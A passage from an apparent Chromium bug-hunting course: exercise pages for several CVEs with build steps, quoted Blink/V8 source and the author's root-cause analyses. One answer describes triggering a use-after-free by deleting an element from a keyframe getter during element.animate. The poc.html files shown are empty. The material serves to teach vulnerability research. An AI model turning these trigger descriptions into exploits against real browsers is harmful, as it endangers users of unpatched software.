32 | 33 | -------- 34 | 35 | ### Set environment 36 | 37 | Just like exercise_4, we need chromium. I recomend you do as [offical gudience](https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/linux/build_instructions.md). If you have installed `depot_tools` ago, you just need `fetch chromium`. 38 | 39 | When you finish the above 40 | ```sh 41 | git reset --hard 7e5707cc5f46b0155b9e42b121c8e2128c05f178 42 | ``` 43 | 44 | ### Related code 45 | we can analysis the source file [online](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/css_interpolation_types_map.cc) or offline. 46 | 47 | This time you need to analysis entire file [`third_party/blink/renderer/core/animation/css_interpolation_types_map.cc`](https://source.chromium.org/chromium/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf:third_party/blink/renderer/core/animation/css_interpolation_types_map.cc), this bug can be easily found if you read `Details` carefully ;) 48 | 49 | ### Do it 50 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 51 | 52 | 53 | --------- 54 | 55 |
56 | My answer 57 | 58 | `Details` has clearly told us the cause of the vulnerability. **A registered custom property in one document caused the entry for the same custom property (unregistered) used in another document to be deleted, which caused a use-after-free** 59 | This mean if we register a `custom property` and then the `entry` of the same `custom property` in another document which `unregistered` will be deleted by `erase`. 60 | ```c++ 61 | const InterpolationTypes& CSSInterpolationTypesMap::Get( 62 | const PropertyHandle& property) const { 63 | using ApplicableTypesMap = 64 | HashMap>; 65 | // TODO(iclelland): Combine these two hashmaps into a single map on 66 | // std::pair 67 | DEFINE_STATIC_LOCAL(ApplicableTypesMap, all_applicable_types_map, ()); 68 | DEFINE_STATIC_LOCAL(ApplicableTypesMap, composited_applicable_types_map, ()); 69 | 70 | ApplicableTypesMap& applicable_types_map = 71 | allow_all_animations_ ? all_applicable_types_map 72 | : composited_applicable_types_map; 73 | 74 | auto entry = applicable_types_map.find(property); [1] find entry (HashMap) 75 | bool found_entry = entry != applicable_types_map.end(); 76 | 77 | // Custom property interpolation types may change over time so don't trust the 78 | // applicableTypesMap without checking the registry. 79 | if (registry_ && property.IsCSSCustomProperty()) { 80 | const auto* registration = GetRegistration(registry_, property); [2] registr 81 | if (registration) { 82 | if (found_entry) { 83 | applicable_types_map.erase(entry); [3] delete entry 84 | } 85 | return registration->GetInterpolationTypes(); 86 | } 87 | } 88 | 89 | if (found_entry) { 90 | return *entry->value; 91 | } 92 | [ ... ] 93 | ============================================================================ 94 | static const PropertyRegistration* GetRegistration( 95 | const PropertyRegistry* registry, 96 | const PropertyHandle& property) { 97 | DCHECK(property.IsCSSCustomProperty()); 98 | if (!registry) { 99 | return nullptr; 100 | } 101 | return registry->Registration(property.CustomPropertyName()); 102 | } 103 | ``` 104 | 105 |
106 | 107 | -------- 108 | 109 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_5/poc.html: -------------------------------------------------------------------------------- 1 | 10 | 11 | 28 | 29 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_6/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 6 2 | 3 | ## CVE-2021-21188 4 | I sugget you don't search any report about it to prevents get too much info like patch. 5 | 6 | This time we do it by code audit 7 | 8 | ### Details 9 | 10 | > Test for persistent execution context during Animatable::animate. 11 | > 12 | > Prior to the patch, the validity of the execution context was only 13 | > checked on entry to the method; however, the execution context can 14 | > be invalidated during the course of parsing keyframes or options. 15 | > The parsing of options is upstream of Animatable::animate and caught by 16 | > the existing check, but invalidation during keyframe parsing could fall 17 | > through triggering a crash. 18 | 19 | 20 | You can read [this](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/#core_animation) to know what about `animation` 21 | 22 | 23 | 24 | --------- 25 | 26 |
27 | For more info click me! But you'd better not do this 28 | 29 | https://bugs.chromium.org/p/chromium/issues/detail?id=1161739 30 | 31 |
32 | 33 | -------- 34 | 35 | ### Set environment 36 | 37 | after you fetch chromium 38 | ```sh 39 | git reset --hard 710bae69e18a9b086795cf79d849bd7f6e9c97fa 40 | ``` 41 | 42 | ### Related code 43 | [`third_party/blink/renderer/core/animation/animatable.cc`](https://source.chromium.org/chromium/chromium/src/+/db032cf0a96b0e7e1007f181d8ce21e39617cee7:third_party/blink/renderer/core/animation/animatable.cc) and others 44 | 45 | 46 | 47 | ### Do it 48 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 49 | 50 | 51 | --------- 52 | 53 |
54 | My answer 55 | 56 | Let's start analysis the source code 57 | ``` c++ 58 | Animation* Animatable::animate( 59 | ScriptState* script_state, 60 | const ScriptValue& keyframes, 61 | const UnrestrictedDoubleOrKeyframeAnimationOptions& options, 62 | ExceptionState& exception_state) { 63 | if (!script_state->ContextIsValid()) 64 | return nullptr; 65 | Element* element = GetAnimationTarget(); 66 | if (!element->GetExecutionContext()) [1] call `GetExecutionContext` to check whether the validity of this ptr 67 | return nullptr; 68 | KeyframeEffect* effect = 69 | KeyframeEffect::Create(script_state, element, keyframes, [2] call create and element is the second parameter 70 | CoerceEffectOptions(options), exception_state); 71 | if (exception_state.HadException()) 72 | return nullptr; 73 | 74 | ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(), 75 | *effect->Model()); 76 | if (!options.IsKeyframeAnimationOptions()) 77 | return element->GetDocument().Timeline().Play(effect); 78 | 79 | Animation* animation; 80 | const KeyframeAnimationOptions* options_dict = 81 | options.GetAsKeyframeAnimationOptions(); 82 | if (!options_dict->hasTimeline()) { 83 | animation = element->GetDocument().Timeline().Play(effect); 84 | } else if (AnimationTimeline* timeline = options_dict->timeline()) { 85 | animation = timeline->Play(effect); 86 | } else { 87 | animation = Animation::Create(element->GetExecutionContext(), effect, [3] If we delete `element` in [2], this trigger crash 88 | nullptr, exception_state); 89 | } 90 | [ ... ] 91 | ``` 92 | What happen in Create 93 | ```c++ 94 | KeyframeEffect* KeyframeEffect::Create( 95 | ScriptState* script_state, 96 | Element* element, 97 | const ScriptValue& keyframes, 98 | const UnrestrictedDoubleOrKeyframeEffectOptions& options, 99 | ExceptionState& exception_state) { 100 | Document* document = element ? &element->GetDocument() : nullptr; 101 | Timing timing = TimingInput::Convert(options, document, exception_state); 102 | if (exception_state.HadException()) 103 | return nullptr; 104 | 105 | EffectModel::CompositeOperation composite = EffectModel::kCompositeReplace; 106 | String pseudo = String(); 107 | // [ ... ] 108 | KeyframeEffectModelBase* model = EffectInput::Convert( [4] call Convert, and element is the first parameter 109 | element, keyframes, composite, script_state, exception_state); 110 | if (exception_state.HadException()) 111 | return nullptr; 112 | KeyframeEffect* effect = 113 | MakeGarbageCollected(element, model, timing); 114 | 115 | if (!pseudo.IsEmpty()) { 116 | effect->target_pseudo_ = pseudo; 117 | if (element) { 118 | element->GetDocument().UpdateStyleAndLayoutTreeForNode(element); 119 | effect->effect_target_ = element->GetPseudoElement( 120 | CSSSelector::ParsePseudoId(pseudo, element)); 121 | } 122 | } 123 | return effect; 124 | } 125 | ================================================================================ 126 | KeyframeEffectModelBase* EffectInput::Convert( 127 | Element* element, 128 | const ScriptValue& keyframes, 129 | EffectModel::CompositeOperation composite, 130 | ScriptState* script_state, 131 | ExceptionState& exception_state) { 132 | StringKeyframeVector parsed_keyframes = 133 | ParseKeyframesArgument(element, keyframes, script_state, exception_state); [5] call ParseKeyframesArgument and element is the first parameter 134 | if (exception_state.HadException()) 135 | return nullptr; 136 | [ ... ] 137 | ``` 138 | I wander what is Keyframe? Then I found [this](https://developer.mozilla.org/en-US/docs/Web/CSS/@keyframes) and [this](https://developer.mozilla.org/en-US/docs/Web/CSS/animation). Although I posted the animation link last time, I didn’t read it myself... But this time we must know what is animation and keyframe. 139 | > The animation property is specified as one or more single animations, separated by commas. 140 | I don't know what the word animation mean, so I don't know what it mean for chrome :/ Alright, you can know them detailed from the two link or you can search yourself. 141 | 142 | What can we do to delete this `element` during `ParseKeyframesArgument`? We can see its def and how animation be constructed. 143 | ```c++ 144 | StringKeyframeVector EffectInput::ParseKeyframesArgument( 145 | Element* element, 146 | const ScriptValue& keyframes, 147 | ScriptState* script_state, 148 | ExceptionState& exception_state) { 149 | // Per the spec, a null keyframes object maps to a valid but empty sequence. 150 | v8::Local keyframes_value = keyframes.V8Value(); 151 | if (keyframes_value->IsNullOrUndefined()) 152 | return {}; 153 | v8::Local keyframes_obj = keyframes_value.As(); 154 | 155 | // 3. Let method be the result of GetMethod(object, @@iterator). 156 | v8::Isolate* isolate = script_state->GetIsolate(); 157 | auto script_iterator = 158 | ScriptIterator::FromIterable(isolate, keyframes_obj, exception_state); 159 | if (exception_state.HadException()) 160 | return {}; 161 | 162 | // TODO(crbug.com/816934): Get spec to specify what parsing context to use. 163 | Document& document = element 164 | ? element->GetDocument() 165 | : *LocalDOMWindow::From(script_state)->document(); 166 | 167 | StringKeyframeVector parsed_keyframes; 168 | if (script_iterator.IsNull()) { 169 | parsed_keyframes = ConvertObjectForm(element, document, keyframes_obj, 170 | script_state, exception_state); 171 | } else { 172 | parsed_keyframes = 173 | ConvertArrayForm(element, document, std::move(script_iterator), [6] if keyframes is sorted by array, do convert 174 | script_state, exception_state); 175 | } 176 | [ ... ] 177 | ``` 178 | Parse the parameter of animatable (parse keyframes), If we transform an Array composed of keyframs, need call ConvertArrayForm for convert step. 179 | ```c++ 180 | StringKeyframeVector ConvertArrayForm(Element* element, 181 | Document& document, 182 | ScriptIterator iterator, 183 | ScriptState* script_state, 184 | ExceptionState& exception_state) { 185 | v8::Isolate* isolate = script_state->GetIsolate(); 186 | 187 | // This loop captures step 5 of the procedure to process a keyframes argument, 188 | // in the case where the argument is iterable. 189 | HeapVector> processed_base_keyframes; 190 | Vector>> processed_properties; 191 | ExecutionContext* execution_context = ExecutionContext::From(script_state); 192 | while (iterator.Next(execution_context, exception_state)) { 193 | if (exception_state.HadException()) 194 | return {}; 195 | 196 | // The value should already be non-empty, as guaranteed by the call to Next 197 | // and the exception_state check above. 198 | v8::Local keyframe = iterator.GetValue().ToLocalChecked(); 199 | 200 | BaseKeyframe* base_keyframe = NativeValueTraits::NativeValue( 201 | isolate, keyframe, exception_state); 202 | Vector> property_value_pairs; 203 | 204 | if (!keyframe->IsNullOrUndefined()) { 205 | AddPropertyValuePairsForKeyframe( [7] call AddPropertyValuePairsForKeyframe 206 | isolate, v8::Local::Cast(keyframe), element, document, 207 | property_value_pairs, exception_state); 208 | if (exception_state.HadException()) 209 | return {}; 210 | } 211 | [ ... ] 212 | =========================================================================== 213 | void AddPropertyValuePairsForKeyframe( 214 | v8::Isolate* isolate, 215 | v8::Local keyframe_obj, 216 | Element* element, 217 | const Document& document, 218 | Vector>& property_value_pairs, 219 | ExceptionState& exception_state) { 220 | Vector keyframe_properties = 221 | GetOwnPropertyNames(isolate, keyframe_obj, exception_state); 222 | 223 | // By spec, we are only allowed to access a given (property, value) pair 224 | // once. This is observable by the web client, so we take care to adhere 225 | // to that. 226 | v8::Local v8_value; 227 | if (!keyframe_obj 228 | ->Get(isolate->GetCurrentContext(), V8String(isolate, property)) [8] call get 229 | .ToLocal(&v8_value)) { 230 | exception_state.RethrowV8Exception(try_catch.Exception()); 231 | return; 232 | } 233 | } 234 | ``` 235 | We can delete this `element` in `getter`, these `element` and `document` is the target of `html`, if you can get if you have learned how js control DOM of html. 236 | We use `element.animate(keyframes, options);` to trigger, we can make a `arr` whose `getter` delete `element_1`. and do `element_2.animate(arr,{...})`, you can see detail at [Poc](./poc.html). 237 | 238 | 239 | 240 |
241 | 242 | -------- 243 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_6/animatable.cc: -------------------------------------------------------------------------------- 1 | // Copyright 2017 The Chromium Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style license that can be 3 | // found in the LICENSE file. 4 | 5 | #include "third_party/blink/renderer/core/animation/animatable.h" 6 | 7 | #include "third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_animation_options.h" 8 | #include "third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_effect_options.h" 9 | #include "third_party/blink/renderer/bindings/core/v8/v8_get_animations_options.h" 10 | #include "third_party/blink/renderer/core/animation/animation.h" 11 | #include "third_party/blink/renderer/core/animation/document_animations.h" 12 | #include "third_party/blink/renderer/core/animation/document_timeline.h" 13 | #include "third_party/blink/renderer/core/animation/effect_input.h" 14 | #include "third_party/blink/renderer/core/animation/effect_model.h" 15 | #include "third_party/blink/renderer/core/animation/keyframe_effect.h" 16 | #include "third_party/blink/renderer/core/animation/keyframe_effect_model.h" 17 | #include "third_party/blink/renderer/core/animation/timing.h" 18 | #include "third_party/blink/renderer/core/animation/timing_input.h" 19 | #include "third_party/blink/renderer/core/dom/document.h" 20 | #include "third_party/blink/renderer/core/dom/element.h" 21 | #include "third_party/blink/renderer/core/feature_policy/layout_animations_policy.h" 22 | #include "third_party/blink/renderer/platform/bindings/exception_state.h" 23 | #include "third_party/blink/renderer/platform/bindings/script_state.h" 24 | #include "third_party/blink/renderer/platform/heap/heap.h" 25 | 26 | namespace blink { 27 | namespace { 28 | 29 | // A helper method which is used to trigger a violation report for cases where 30 | // the |element.animate| API is used to animate a CSS property which is blocked 31 | // by the feature policy 'layout-animations'. 32 | void ReportFeaturePolicyViolationsIfNecessary( 33 | const ExecutionContext& context, 34 | const KeyframeEffectModelBase& effect) { 35 | for (const auto& property_handle : effect.Properties()) { 36 | if (!property_handle.IsCSSProperty()) 37 | continue; 38 | const auto& css_property = property_handle.GetCSSProperty(); 39 | if (LayoutAnimationsPolicy::AffectedCSSProperties().Contains( 40 | &css_property)) { 41 | LayoutAnimationsPolicy::ReportViolation(css_property, context); 42 | } 43 | } 44 | } 45 | 46 | UnrestrictedDoubleOrKeyframeEffectOptions CoerceEffectOptions( 47 | UnrestrictedDoubleOrKeyframeAnimationOptions options) { 48 | if (options.IsKeyframeAnimationOptions()) { 49 | return UnrestrictedDoubleOrKeyframeEffectOptions::FromKeyframeEffectOptions( 50 | options.GetAsKeyframeAnimationOptions()); 51 | } else { 52 | return UnrestrictedDoubleOrKeyframeEffectOptions::FromUnrestrictedDouble( 53 | options.GetAsUnrestrictedDouble()); 54 | } 55 | } 56 | 57 | } // namespace 58 | 59 | // https://drafts.csswg.org/web-animations/#dom-animatable-animate 60 | Animation* Animatable::animate( 61 | ScriptState* script_state, 62 | const ScriptValue& keyframes, 63 | const UnrestrictedDoubleOrKeyframeAnimationOptions& options, 64 | ExceptionState& exception_state) { 65 | if (!script_state->ContextIsValid()) 66 | return nullptr; 67 | Element* element = GetAnimationTarget(); 68 | if (!element->GetExecutionContext()) 69 | return nullptr; 70 | KeyframeEffect* effect = 71 | KeyframeEffect::Create(script_state, element, keyframes, 72 | CoerceEffectOptions(options), exception_state); 73 | if (exception_state.HadException()) 74 | return nullptr; 75 | 76 | ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(), 77 | *effect->Model()); 78 | if (!options.IsKeyframeAnimationOptions()) 79 | return element->GetDocument().Timeline().Play(effect); 80 | 81 | Animation* animation; 82 | const KeyframeAnimationOptions* options_dict = 83 | options.GetAsKeyframeAnimationOptions(); 84 | if (!options_dict->hasTimeline()) { 85 | animation = element->GetDocument().Timeline().Play(effect); 86 | } else if (AnimationTimeline* timeline = options_dict->timeline()) { 87 | animation = timeline->Play(effect); 88 | } else { 89 | animation = Animation::Create(element->GetExecutionContext(), effect, 90 | nullptr, exception_state); 91 | } 92 | 93 | animation->setId(options_dict->id()); 94 | return animation; 95 | } 96 | 97 | Animation* Animatable::animate(ScriptState* script_state, 98 | const ScriptValue& keyframes, 99 | ExceptionState& exception_state) { 100 | if (!script_state->ContextIsValid()) 101 | return nullptr; 102 | Element* element = GetAnimationTarget(); 103 | if (!element->GetExecutionContext()) 104 | return nullptr; 105 | KeyframeEffect* effect = 106 | KeyframeEffect::Create(script_state, element, keyframes, exception_state); 107 | if (exception_state.HadException()) 108 | return nullptr; 109 | 110 | ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(), 111 | *effect->Model()); 112 | return element->GetDocument().Timeline().Play(effect); 113 | } 114 | 115 | HeapVector> Animatable::getAnimations( 116 | GetAnimationsOptions* options) { 117 | bool use_subtree = options && options->subtree(); 118 | Element* element = GetAnimationTarget(); 119 | if (use_subtree) 120 | element->GetDocument().UpdateStyleAndLayoutTreeForSubtree(element); 121 | else 122 | element->GetDocument().UpdateStyleAndLayoutTreeForNode(element); 123 | 124 | HeapVector> animations; 125 | if (!use_subtree && !element->HasAnimations()) 126 | return animations; 127 | 128 | for (const auto& animation : 129 | element->GetDocument().GetDocumentAnimations().getAnimations( 130 | element->GetTreeScope())) { 131 | DCHECK(animation->effect()); 132 | // TODO(gtsteel) make this use the idl properties 133 | Element* target = To(animation->effect())->EffectTarget(); 134 | if (element == target || (use_subtree && element->contains(target))) { 135 | // DocumentAnimations::getAnimations should only give us animations that 136 | // are either current or in effect. 137 | DCHECK(animation->effect()->IsCurrent() || 138 | animation->effect()->IsInEffect()); 139 | animations.push_back(animation); 140 | } 141 | } 142 | return animations; 143 | } 144 | 145 | } // namespace blink 146 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_6/poc.html: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /LEVEL_1/exercise_7/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 7 2 | 3 | 4 | ## CVE-2021-30565 5 | I sugget you don't search any report about it to prevents get too much info like patch. 6 | 7 | 8 | ### Details 9 | 10 | > cppgc: Fix ephemeron iterations 11 | > 12 | > If processing the marking worklists found new ephemeron pairs, but 13 | processing the existing ephemeron pairs didn't mark new objects, marking 14 | would stop and the newly discovered ephemeron pairs would not be 15 | processed. This can lead to a marked key with an unmarked value. 16 | 17 | 18 | An ephemeron pair is used to conditionally retain an object. 19 | The `value` will be kept alive only if the `key` is alive. 20 | 21 | 22 | ### Set environment 23 | 24 | set v8 environment 25 | ```sh 26 | # get depot_tools 27 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git 28 | # add to env var 29 | echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc 30 | # get v8 source code 31 | fetch v8 32 | # chenge to right commit 33 | cd v8 34 | git reset --hard f41f4fb4e66916936ed14d8f9ee20d5fb0afc548 35 | # download others 36 | gclient sync 37 | # get ninja for compile 38 | git clone https://github.com/ninja-build/ninja.git 39 | cd ninja && ./configure.py --bootstrap && cd .. 40 | # set environment variable 41 | echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc 42 | 43 | # compile debug 44 | tools/dev/v8gen.py x64.debug 45 | ninja -C out.gn/x64.debug d8 46 | # compile release (optional) 47 | tools/dev/v8gen.py x64.release 48 | ninja -C out.gn/x64.release d8 49 | ``` 50 | 51 | ### Related code 52 | `src/heap/cppgc/marker.cc` 53 | `src/heap/cppgc/marking-state.h` 54 | ```c++ 55 | bool MarkerBase::ProcessWorklistsWithDeadline( 56 | size_t marked_bytes_deadline, v8::base::TimeTicks time_deadline) { 57 | StatsCollector::EnabledScope stats_scope( 58 | heap().stats_collector(), StatsCollector::kMarkTransitiveClosure); 59 | do { 60 | if ((config_.marking_type == MarkingConfig::MarkingType::kAtomic) || 61 | schedule_.ShouldFlushEphemeronPairs()) { 62 | mutator_marking_state_.FlushDiscoveredEphemeronPairs(); 63 | } 64 | 65 | // Bailout objects may be complicated to trace and thus might take longer 66 | // than other objects. Therefore we reduce the interval between deadline 67 | // checks to guarantee the deadline is not exceeded. 68 | [ ... ] 69 | { 70 | StatsCollector::EnabledScope inner_stats_scope( 71 | heap().stats_collector(), StatsCollector::kMarkProcessEphemerons); 72 | if (!DrainWorklistWithBytesAndTimeDeadline( 73 | mutator_marking_state_, marked_bytes_deadline, time_deadline, 74 | mutator_marking_state_.ephemeron_pairs_for_processing_worklist(), 75 | [this](const MarkingWorklists::EphemeronPairItem& item) { 76 | mutator_marking_state_.ProcessEphemeron( 77 | item.key, item.value, item.value_desc, visitor()); 78 | })) { 79 | return false; 80 | } 81 | } 82 | } while (!mutator_marking_state_.marking_worklist().IsLocalAndGlobalEmpty()); 83 | return true; 84 | } 85 | ``` 86 | 87 | ```c++ 88 | void MarkingStateBase::ProcessEphemeron(const void* key, const void* value, 89 | TraceDescriptor value_desc, 90 | Visitor& visitor) { 91 | // Filter out already marked keys. The write barrier for WeakMember 92 | // ensures that any newly set value after this point is kept alive and does 93 | // not require the callback. 94 | if (!HeapObjectHeader::FromObject(key) 95 | .IsInConstruction() && 96 | HeapObjectHeader::FromObject(key).IsMarked()) { 97 | if (value_desc.base_object_payload) { 98 | MarkAndPush(value_desc.base_object_payload, value_desc); 99 | } else { 100 | // If value_desc.base_object_payload is nullptr, the value is not GCed and 101 | // should be immediately traced. 102 | value_desc.callback(&visitor, value); 103 | } 104 | return; 105 | } 106 | // |discovered_ephemeron_pairs_worklist_| may still hold ephemeron pairs with 107 | // dead keys. 108 | discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc}); 109 | } 110 | ``` 111 | 112 | ### Do it 113 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 114 | 115 | 116 | --------- 117 | 118 |
119 | My answer, probably wrong 120 | 121 | ```c++ 122 | // Marking algorithm. Example for a valid call sequence creating the marking 123 | // phase: 124 | // 1. StartMarking() [Called implicitly when creating a Marker using 125 | // MarkerFactory] 126 | // 2. AdvanceMarkingWithLimits() [Optional, depending on environment.] 127 | // 3. EnterAtomicPause() 128 | // 4. AdvanceMarkingWithLimits() 129 | // 5. LeaveAtomicPause() 130 | // 131 | // Alternatively, FinishMarking combines steps 3.-5. 132 | ``` 133 | https://chromium.googlesource.com/v8/v8.git/+/e677a6f6b257e992094b9183a958b67ecc68aa85 134 | ```c++ 135 | void MarkingStateBase::ProcessEphemeron(const void* key, const void* value, 136 | TraceDescriptor value_desc, 137 | Visitor& visitor) { 138 | // Filter out already marked keys. The write barrier for WeakMember 139 | // ensures that any newly set value after this point is kept alive and does 140 | // not require the callback. 141 | if (!HeapObjectHeader::FromObject(key) 142 | .IsInConstruction() && [1] 143 | HeapObjectHeader::FromObject(key).IsMarked()) { [2] 144 | /** 145 | * value_desc.base_object_payload: 146 | * 147 | * Adjusted base pointer, i.e., the pointer to the class inheriting directly 148 | * from GarbageCollected, of the object that is being traced. 149 | */ 150 | if (value_desc.base_object_payload) { 151 | MarkAndPush(value_desc.base_object_payload, value_desc); 152 | } else { 153 | // If value_desc.base_object_payload is nullptr, the value is not GCed and 154 | // should be immediately traced. 155 | value_desc.callback(&visitor, value); 156 | } 157 | return; 158 | } 159 | discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc}); // if find new ephemeron_pairs, need push 160 | } 161 | ======================================================================= 162 | template 164 | bool DrainWorklistWithPredicate(Predicate should_yield, 165 | WorklistLocal& worklist_local, 166 | Callback callback) { 167 | if (worklist_local.IsLocalAndGlobalEmpty()) return true; 168 | // For concurrent markers, should_yield also reports marked bytes. 169 | if (should_yield()) return false; 170 | size_t processed_callback_count = deadline_check_interval; 171 | typename WorklistLocal::ItemType item; 172 | while (worklist_local.Pop(&item)) { 173 | callback(item); // ProcessEphemeron 174 | if (--processed_callback_count == 0) { 175 | if (should_yield()) { 176 | return false; 177 | } 178 | processed_callback_count = deadline_check_interval; 179 | } 180 | } 181 | return true; 182 | } 183 | ``` 184 | [1] `IsInConstruction == false` means the the data of `Object` all setted up. 185 | 186 | [2] `IsMarked == true` means this `object` has been marked. 187 | 188 | the `ProcessEphemeron` will be the parameter of `DrainWorklistWithPredicate` named `callback` and `discovered_ephemeron_pairs_worklist_` pop item to call `RocessEphemeron` in loop 189 | 190 | ```c++ 191 | const HeapObjectHeader& HeapObjectHeader::FromObject(const void* object) { [3] 192 | return *reinterpret_cast( 193 | static_cast(object) - sizeof(HeapObjectHeader)); 194 | } 195 | ============================================================ 196 | template 197 | bool HeapObjectHeader::IsInConstruction() const { 198 | const uint16_t encoded = 199 | LoadEncoded(); 200 | return !FullyConstructedField::decode(encoded); [4] 201 | } 202 | ============================================================ 203 | template 204 | bool HeapObjectHeader::IsMarked() const { 205 | const uint16_t encoded = 206 | LoadEncoded(); 207 | return MarkBitField::decode(encoded); [5] 208 | } 209 | ``` 210 | [3] return the ptr to `HeapObjectHeader`, you can treat it as `addrOf(Chunk) - sizeof(ChunkHeader)` can get the addr of ChunkHeader 211 | 212 | [4] and [5] can get info of the `HeapObjectHeader` which be organized in some regular pattern. The following content explains this clearly 213 | ```c++ 214 | // Used in |encoded_high_|. 215 | using FullyConstructedField = v8::base::BitField16; [6] 216 | using UnusedField1 = FullyConstructedField::Next; 217 | using GCInfoIndexField = UnusedField1::Next; 218 | // Used in |encoded_low_|. 219 | using MarkBitField = v8::base::BitField16; 220 | using SizeField = void; // Use EncodeSize/DecodeSize instead. 221 | ============================================== 222 | // Extracts the bit field from the value. 223 | static constexpr T decode(U value) { 224 | return static_cast((value & kMask) >> kShift); [7] 225 | } 226 | ``` 227 | you can understand [6] better by this. 228 | 229 | ```c++ 230 | // HeapObjectHeader contains meta data per object and is prepended to each 231 | // object. 232 | // 233 | // +-----------------+------+------------------------------------------+ 234 | // | name | bits | | 235 | // +-----------------+------+------------------------------------------+ 236 | // | padding | 32 | Only present on 64-bit platform. | 237 | // +-----------------+------+------------------------------------------+ 238 | // | GCInfoIndex | 14 | | 239 | // | unused | 1 | | 240 | // | in construction | 1 | In construction encoded as |false|. | 241 | // +-----------------+------+------------------------------------------+ 242 | // | size | 15 | 17 bits because allocations are aligned. | 243 | // | mark bit | 1 | | 244 | // +-----------------+------+------------------------------------------+ 245 | // 246 | // Notes: 247 | // - See |GCInfoTable| for constraints on GCInfoIndex. 248 | // - |size| for regular objects is encoded with 15 bits but can actually 249 | // represent sizes up to |kBlinkPageSize| (2^17) because allocations are 250 | // always 4 byte aligned (see kAllocationGranularity) on 32bit. 64bit uses 251 | // 8 byte aligned allocations which leaves 1 bit unused. 252 | // - |size| for large objects is encoded as 0. The size of a large object is 253 | // stored in |LargeObjectPage::PayloadSize()|. 254 | // - |mark bit| and |in construction| bits are located in separate 16-bit halves 255 | // to allow potentially accessing them non-atomically. 256 | ``` 257 | So [7] can get specific bit of `HeapObjectHeader` | meta data, means the Object status information 258 | 259 | `ProcessEphemeron` func means if object has been marked and `value_desc.base_object_payload`(may be write barrier?) not null, we need to mark value_desc.base_object_payload, else we find new `ephemeron_pairs`. 260 | 261 | But if `value_desc.base_object_payload` have not been set, we need to callback (maybe used for search old space for what object prt to this value), this may lead to recursive call. And the mark process can be stoped because the time limit. 262 | 263 | There are many gc processes, if two of them call the `ProcessEphemeron` and the A process prepare to mark value. But B process find new `ephemeron_pairs`, the mark will be stoped, **I gusee** :), lead to a marked key with an unmarked value. 264 | 265 | 266 |
267 | 268 | -------- 269 | -------------------------------------------------------------------------------- /LEVEL_2/README.md: -------------------------------------------------------------------------------- 1 | # LEVEL 2 2 | 3 | This time, you cann't rely on the `Details` to search the bug. The only info you get is the related files of the bug exist. For me, I will find the patch file, and write down its path. Then I will try to find the bug and check whether these files exist this bug to provide the right file. 4 | 5 | Find the bug yourself, and if you feel difficult can see tips or the answer. 6 | 7 | I believe you can do better than me. 8 | 9 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_1/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 1 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. 4 | 5 | ## CVE-2021-21128 6 | I sugget you don't search any report about it to prevents get too much info like patch. 7 | 8 | 9 | ### Details 10 | 11 | In level 2, we do it without the help of Details 12 | 13 | 14 | 15 | --------- 16 | 17 |
18 | For more info click me! But you'd better not do this 19 | 20 | https://bugs.chromium.org/p/chromium/issues/detail?id=1138877 21 | 22 |
23 | 24 | -------- 25 | 26 | ### Set environment 27 | 28 | after you fetch chromium 29 | ```sh 30 | git reset --hard 04fe9cc9bf0b67233b9f7f80b9a914499a431fa4 31 | ``` 32 | 33 | ### Related code 34 | 35 | [third_party/blink/renderer/core/editing/iterators/text_searcher_icu.cc](https://source.chromium.org/chromium/chromium/src/+/04fe9cc9bf0b67233b9f7f80b9a914499a431fa4:third_party/blink/renderer/core/editing/iterators/text_searcher_icu.cc) 36 | 37 | 38 | ### Do it 39 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 40 | 41 | 42 | --------- 43 | 44 |
45 | My answer 46 | 47 | `IsWholeWordMatch` This func looks like buggy. 48 | ```c++ 49 | static bool IsWholeWordMatch(const UChar* text, 50 | int text_length, 51 | MatchResultICU& result) { 52 | DCHECK_LE((int)(result.start + result.length), text_length); 53 | UChar32 first_character; 54 | U16_GET(text, 0, result.start, result.length, first_character); [1] 55 | 56 | // Chinese and Japanese lack word boundary marks, and there is no clear 57 | // agreement on what constitutes a word, so treat the position before any CJK 58 | // character as a word start. 59 | if (Character::IsCJKIdeographOrSymbol(first_character)) 60 | return true; 61 | 62 | wtf_size_t word_break_search_start = result.start + result.length; 63 | while (word_break_search_start > result.start) { 64 | word_break_search_start = 65 | FindNextWordBackward(text, text_length, word_break_search_start); 66 | } 67 | if (word_break_search_start != result.start) 68 | return false; 69 | return static_cast(result.start + result.length) == 70 | FindWordEndBoundary(text, text_length, word_break_search_start); 71 | } 72 | ========================================================== 73 | #define CHECK_LE(val1, val2) CHECK_OP(<=, val1, val2) 74 | ``` 75 | [1] call `U16_GET` after `DCHECK_LE`. This check means `result.start + result.length` must lessthan `text_length`, we can see about `U16_GET` 76 | ```c++ 77 | /** 78 | * Get a code point from a string at a random-access offset, 79 | * without changing the offset. 80 | * "Safe" macro, handles unpaired surrogates and checks for string boundaries. 